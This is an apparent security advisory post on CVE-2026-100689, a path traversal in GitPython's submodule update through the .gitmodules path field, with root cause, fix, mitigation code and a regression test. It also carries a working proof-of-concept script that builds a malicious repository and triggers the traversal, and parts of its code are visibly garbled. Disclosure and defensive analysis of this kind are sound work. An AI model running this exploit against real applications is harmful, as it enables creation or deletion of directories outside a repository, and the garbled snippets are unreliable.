GitPython Submodule Path Traversal via gitmodules — CVE-2026-100689 (Medium) -DC-Oct2026-2692

Listen to this Post

CVE-2026-100689 is a path traversal vulnerability in GitPython, affecting versions before 3.1.62. It resides in the `Submodule.update()` method, specifically in how the library handles the `path` field from a `.gitmodules` file. This is a residual flaw from a previous fix (GHSA-hmq2-w58f-27jc / CVE-2026-76222) that addressed the `name` field but overlooked the sibling `path` field.
The root cause is an asymmetry in input validation. GitPython already possesses a containment guard, Submodule._to_relative_path(), designed to ensure a given path resolves within the repository’s working tree. This guard is correctly applied in `add()` and move(). However, `update()` does not use it. While `update()` validates the submodule `name` via _validated_name(), it derives the absolute checkout location directly from the raw `path` value read from .gitmodules.
The vulnerable data flow begins when GitPython reads a `.gitmodules` file. The `path` attribute is retrieved without sanitization in `_set_cache_()` via reader.get("path"). In update(), after validating only the name, the code calculates checkout_module_abspath = self.abspath, which is derived from this unsanitized path. This absolute path is then passed to `os.makedirs()` to create directories and, if `force_remove` is used, to `shutil.rmtree()` for deletion.
Consequently, a malicious `.gitmodules` entry with a `path` like `../../../tmp/escaped` causes GitPython to create and potentially populate directories outside the repository’s working tree. The directory can be populated from the submodule’s URL during a clone operation and deleted via force_remove.
Exploitation is not universal. The most common flow, `Repo.clone_from(…)` followed by `repo.submodules` and sm.update(init=True), is not affected. In this flow, the path is re-derived from a canonical tree lookup, and the underlying `git` command refuses to check out trees with `..` components, preventing the malicious `.gitmodules` from landing in the working tree. A reachable trigger requires an application flow that updates submodules at a non-HEAD commit, such as using a historical-commit API like submodule_update(previous_commit=...).
The fix, introduced in GitPython 3.1.62, applies the existing `_to_relative_path()` guard within `update()` before deriving the absolute path. A more robust boundary-level fix would be to reject any `.gitmodules` entry whose `path` is absolute or contains `..` components when the configuration section is first read.

DailyCVE Form:

Platform: GitPython
Version: < 3.1.62
Vulnerability: Path Traversal
Severity: Medium
date: 2026-09-26

Prediction: 2026-10-15

What Undercode Say

Demonstrate the vulnerable code path in GitPython 3.1.61
git clone https://github.com/gitpython-developers/GitPython.git
cd GitPython
git checkout 3.1.61
Inspect the unguarded call in update()
grep -n "checkout_module_abspath = self.abspath" git/objects/submodule/base.py
Show the guard's correct usage in add() and move()
grep -n "_to_relative_path" git/objects/submodule/base.py
Minimal reproduction: path traversal via .gitmodules
Save as: evil_repo/.gitmodules
[submodule "evil"]
path = ../../../tmp/escaped
url = https://example.com/evil.git
In the application using GitPython 3.1.61:
import git
repo = git.Repo.clone_from("file:///path/to/evil_repo", "/tmp/safe_clone")
Historical commit update triggers the vulnerable path
repo.submodules[bash].update(previous_commit="HEAD~1", init=True)
Result: /tmp/escaped directory created outside /tmp/safe_clone
The fix in 3.1.62: update() now applies the containment guard
git/objects/submodule/base.py (3.1.62+)
checkout_rel = self._to_relative_path(self.repo, self.path)
checkout_module_abspath = self.repo.working_tree_dir / checkout_rel

Exploit: (Educational Purposes!)

!/usr/bin/env python3
"""
CVE-2026-100689 Educational Exploit PoC
Target: GitPython < 3.1.62
Requires: Victim application calls submodule.update(previous_commit=...)
"""
import git
import os
1. Create a malicious repository with an evil .gitmodules
malicious_repo_path = "/tmp/malicious_repo"
os.makedirs(malicious_repo_path, exist_ok=True)
os.chdir(malicious_repo_path)
os.system("git init")
os.system("git config user.email '[email protected]'")
os.system("git config user.name 'Attacker'")
Evil .gitmodules with path traversal
with open(".gitmodules", "w") as f:
f.write('[submodule "evil"]\n')
f.write(' path = ../../../../tmp/pwned_dir\n')
f.write(' url = https://github.com/attacker/payload.git\n')
os.system("git add .gitmodules")
os.system("git commit -m 'Initial commit'")
os.system("git branch -m main")
2. Victim clones the repo and updates a historical commit
victim_clone = "/tmp/victim_clone"
repo = git.Repo.clone_from(malicious_repo_path, victim_clone)
Simulate a historical-commit update trigger
In real exploitation, this requires an app flow using previous_commit=...
try:
sub = repo.submodules[bash]
sub.update(previous_commit="HEAD~1", init=True)
print("[!] Traversal attempted. Check /tmp/pwned_dir")
except Exception as e:
print(f"[-] Update failed (may be patched or flow incompatible): {e}")
3. Verify directory creation outside the working tree
if os.path.isdir("/tmp/pwned_dir"):
print("[!] VULNERABLE: Directory created outside working tree")
else:
print("[+] Not vulnerable in this flow")

Protection:

Upgrade to GitPython 3.1.62 or later. The fix applies `_to_relative_path()` within `update()` before deriving the absolute checkout path.

Upgrade via pip
pip install --upgrade GitPython>=3.1.62
Verify installed version
python -c "import git; print(git.<strong>version</strong>)"

Application-level mitigation (if upgrade is not immediately possible):

Validate .gitmodules path before calling update()
import git
def safe_submodule_update(repo, submodule):
"""Reject any submodule path containing traversal components."""
reader = submodule.config_reader()
raw_path = reader.get("path")
Reject absolute paths and any path with '..' components
if os.path.isabs(raw_path) or ".." in raw_path.split(os.sep):
raise ValueError(f"Rejected unsafe submodule path: {raw_path}")
submodule.update(init=True)

Regression test (from the suggested fix):

tests/test_submodule.py
def test_submodule_path_traversal_rejected(self, rwdir):
"""Ensure path = ../escaped is rejected alongside name test."""
sm = Submodule(...) construct with path="../escaped"
with pytest.raises(ValueError):
sm._to_relative_path(sm.repo, sm.path)

Impact:

  • Confidentiality: Low — the attacker cannot directly read files via this vector, but may infer filesystem structure.
  • Integrity: Medium — arbitrary directory creation outside the working tree; on the clone path, directories are populated from attacker-controlled submodule URLs.
  • Availability: Medium — `force_remove` passes the escaped absolute path to shutil.rmtree(), enabling deletion of directories outside the repository.
  • Scope: The vulnerability requires a specific application flow (non-HEAD commit updates, e.g., submodule_update(previous_commit=...)). The common clone-then-update flow is unaffected due to canonical tree re-derivation and git‘s own `..` blocking.
  • CVSS 3.1: 5.9 (Medium) — Network vector, High complexity, No privileges, No user interaction required for the vulnerable component itself, but exploitation requires the application to invoke the historical-commit API.
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’).

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top